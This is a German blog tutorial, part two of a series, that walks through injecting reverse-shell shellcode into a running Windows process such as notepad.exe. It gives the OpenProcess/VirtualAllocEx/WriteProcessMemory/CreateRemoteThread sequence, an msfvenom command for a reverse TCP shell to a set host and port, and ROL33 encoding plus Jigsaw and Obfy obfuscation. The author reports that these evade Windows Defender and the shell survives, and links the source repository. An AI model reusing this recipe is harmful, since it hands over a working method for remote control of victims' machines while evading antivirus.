Shellcode Injection Teil 2

 


In Teil 1 der Shellcode Injection Reihe haben wir eine Reverse Shell aus
einem lokalen Prozess heraus gestartet. in Teil 2 schleusen wir den
Shellcode direkt in einen Prozess ein. Diese Form der Injection wird in
der Regel vom Windows Defender erkannt, so dass wir wieder einige
Obfuscation Methoden einsetzen.

Wir benutzen einen 64-Bit Shellcode und setzen (bis auf eine Ausnahme)
die gleichen Tools wie in Teil 1 ein. Den Quellcode könnt ihr im Github Repository
herunterladen.

Code

Erläuterung

Unser Code soll die PID des Zielprozesses als Parameter beim Start
übergeben bekommen. Die PID geben wir als Parameter an OpenProcess,
mit dem Rückgabewert des Programm-Handles.

processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

Nun reservieren wir einen Speicherbereich für unseren Shellcode. Dies
erreichen wir über die Funktion VirtualAllocEx. Die Berechtigung für
diesen Speicherbereich legen wir mit PAGE_EXECUTE_READWRITE fest. Der
Bereich hat somit Lese, Schreib, und Ausführungsberechtigung.

remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof calc_pload, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

Im nächsten Schritt schreiben wir unseren Shellcode in den
Speicherbereich mit WriteProcessMemory.

WriteProcessMemory(processHandle, remoteBuffer, calc_pload, sizeof calc_pload, NULL);

Der letzte Schritt erstellt einen neuen Thread im Kontext des
Zielprozesses und führt unseren Shellcode schließlich aus. Hier nutzen
wir die Funktion CreateRemoteThread.

remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

Shellcode

Wir erzeugen einen 64-Bit Shellcode mit msfvenom, welchen wir nicht
weiter enkodieren. Die Ausgabe erfolgt binär:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.28.126.97 LPORT=445 -b '\x00\x0d\x0a' -f raw > shell.raw

Obfuscation

Shellcode ROL33 Encoding

Metasploit benutzt ROR13 (Rotate Right 13) um System Adressen zu hashen.
Wir machen aus ROR13 ROL33 (Rotate Left 33). Hierzu benutzen wir ein
python Script, welches in diesem interessanten Blog Beitrag näher
erklärt wird:

python3 function_encoder.py --shellcode shell.raw --key 33

Ein Blick auf die Shellcode Ausgabe hilft uns später zu überprüfen, ob
dieser richtig im Speicher des Zielprozesses hinterlegt ist.

Jigsaw

In Teil 1 habe ich Jigsaw 1 benutzt, um den Shellcode zu tarnen. Dies
allein hat jedoch nicht ausgereicht, so dass die kompilierte Datei
direkt erkannt wurde. Dennoch habe ich Jigsaw auch für Teil 2 benutzt.
Wir benutzen die durch den function_encoder.py erzeugte Datei
output.bin.

Obfy

Jigsaw in Verbindung mit Obfy 2 war direkt ein Erfolg. Windows
Defender konnte die kompilierte Datei nicht mehr erkennen. Hierzu musste
ich nicht einmal viel machen. Es hat schon gereicht die Anweisungen
OBF_BEGIN und OBF_END zu setzen.

Diesmal reizen wir Obfy etwas mehr aus: die Schleife, welche unseren
Jigsaw Code wieder in Shellcode umwandelt, sieht derzeit so aus:

for (int sdx = 0; sdx < sizeof(poss) / sizeof(poss[0]); sdx++) {
        pos = poss[sdx];
        calc_pload[pos] = jiggy[sdx];

Wir benutzen die Obfy Templates und basteln uns eine neue Schleife,
welche z.B. so aussehen kann:

    OBF_BEGIN
        FOR(V(sdx) = N(0), sdx < sizeof(poss) / sizeof(poss[0]), sdx += 1) {
        pos = poss[sdx];
        calc_pload[pos] = jiggy[sdx];
    }
        ENDFOR
    OBF_END

Exploit

Programm ausführen

Wir führen das Programm auf dem Test-PC aus und übergeben die PID von
notepad.exe

Shellcode Process Hacker

Wenn wir nun den Speicher von notepad.exe betrachten, finden wir die
RWX Sektion, in der uns ein bekannter Shellcode begrüßt. Die PID ist
eine andere, als oben übergeben. Das liegt einfach an den
unterschiedlichen Zeitpunkten, der Bildaufnahmen.

Verhalten Windows Defender

Ein direkter Scan erkennt keine Bedrohungen:

Windows Defender erkennt nach einiger Zeit, dass der Prozess nichts
gutes im Sinn hat und beendet diesen. Waren wir nicht erfolgreich?

Reverse Shell

Doch waren wir! Die Reaktion vom Windows Defender kam zu spät. Dieser
beendet zwar den aktuell laufenden Thread, doch die Shell funktioniert
dennoch. Warum der Defender so langsam reagiert ist mir dabei allerdings
nicht klar. Wenn hierzu jemand eine Antwort kennt, gerne in die
Kommentare schreiben.

Repository

git clone https://github.com/psycore8/nosoc-shellcode

Ausblick

Im dritten Teil beschäftigen wir uns mit Native API Aufrufen.

Footnotes

  1. https://github.com/RedSiege/Jigsaw ↩

  2. https://github.com/fritzone/obfy ↩